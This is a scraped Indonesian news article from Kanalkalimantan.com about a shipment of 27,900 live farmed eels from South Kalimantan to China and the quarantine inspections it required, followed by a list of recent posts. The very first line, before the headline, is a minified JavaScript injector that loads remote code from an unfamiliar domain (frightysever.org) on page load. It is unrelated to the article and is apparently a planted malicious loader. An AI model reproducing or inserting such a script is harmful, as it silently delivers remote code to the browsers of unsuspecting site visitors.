(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

27.900 Ekor Belut dari Kalsel Diekspor ke Tiongkok


KANALKALIMANTAN.COM, BANJARMASIN – Sebanyak 27.900 ekor belut hidup hasil budidaya di Kalimantan Selatan (Kalsel) dikirim ke negeri Tiongkok, Minggu (31/3/2024) kemarin.

Sebelum diekspor, belut-belut tersebut terlebih dahulu diperiksa oleh Balai Karantina Hewan Ikan dan Tumbuhan Kalimantan Selatan (Karantina Kalsel) melalui satuan Pelayanan Bandara Syamsudin Noor untuk dapat disertifikasi.

Komoditas belut hidup itu harus dipastikan bebas dari hama dan penyakit ikan karantina (HPIK).

Ekspor belut dari Banua itu bukanlah yang pertama kalinya. Berdasarkan data sistem terintegrasi karantina ikan online (Sister Karoline), sejak awal Maret 2024 tercatat ada 11 kali pengiriman komuditas belut hidup ke Tiongkok dengan total 264.678 ekor dan nilai ekonominya mencapai Rp2,4 miliar.

Baca juga: Bappedalitbang Banjar Gelar Asistensi Penyusunan Renja 2025 SKPD

Petugas karantina yang melakukan pemeriksaan di tempat eksportir, Dewi mengatakan, sebanyak 27.900 belut hidup yang hendak diekspor wajib diperiksa kesehatan secara klinis dan laboratorium.

“Pengujian laboratorium dilakukan untuk memastikan apakah belut terbebas dari hama atau penyakit berupa parasit gnathosmoa dan epizootic ulcerative syndrome (EUS) yang disebabkan oleh jamur aphanomyces,” kata petugas Karantina Kalsel, Minggu (31/3/2024).

Hasil pemeriksaan laboratorium, puluhan ribu belut tersebut dinyatakan dalam kondisi sehat.

Baca juga: Survei Kandidat Jelang Pilwali Banjarbaru, Elektabilitas Aditya 52,38% Versi LSPP

Selain itu, kata Dewi, pemeriksaan fisik terhadap komoditas juga dilakukan untuk memastikan kesesuaian jumlah dan jenisnya.

Eksportir menurutnya diharuskan sudah terdaftar dan punya nomor registrasi ekspor dari negara tujuan, serta memiliki sertifikat Instalasi Karantina Ikan (IKI) dan Cara Karantina Ikan yang Baik (CKIB).

Setelah semua persyaratan terpenuhi, selanjutnya dapat diterbitkan Health Product (KI-D1).

“Sertifikat yang dipersyaratkan dari negara tujuan ini berfungsi sebagai jaminan kesehatan dan kelayakan komoditas, serta merupakan dokumen yang wajib disertakan pada saat melakukan pengiriman menggunakan pesawat,” katanya.

Baca juga: Oplosan Gaduk hingga Ngamar di Hotel Melati, Puluhan Remaja Ditangkap Polisi

Sementara terpisah, Kepala Karantina Kalsel, Sudirman mengatakan, kesehatan komoditas merupakan hal yang krusial dalam perdagangan hasil perikanan, terlebih untuk keperluan ekspor.

Dengan adanya sertifikasi kesehatan karantina dapat lebih menjamin keberterimaan di daerah atau negara tujuan.

“Ini juga sekaligus bentuk fasilitas perdagangan yang disediakan Badan Karantina Indonesia,” katanya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

20 menit ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

1 jam ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

1 jam ago

Festival Budaya Tingang Menteng Panunjung Tarung 2025 Ditutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Festival Budaya Tingang Menteng Panunjung Tarung 2025 sukses digelar dalam rangka… Read More

1 jam ago

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

17 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

21 jam ago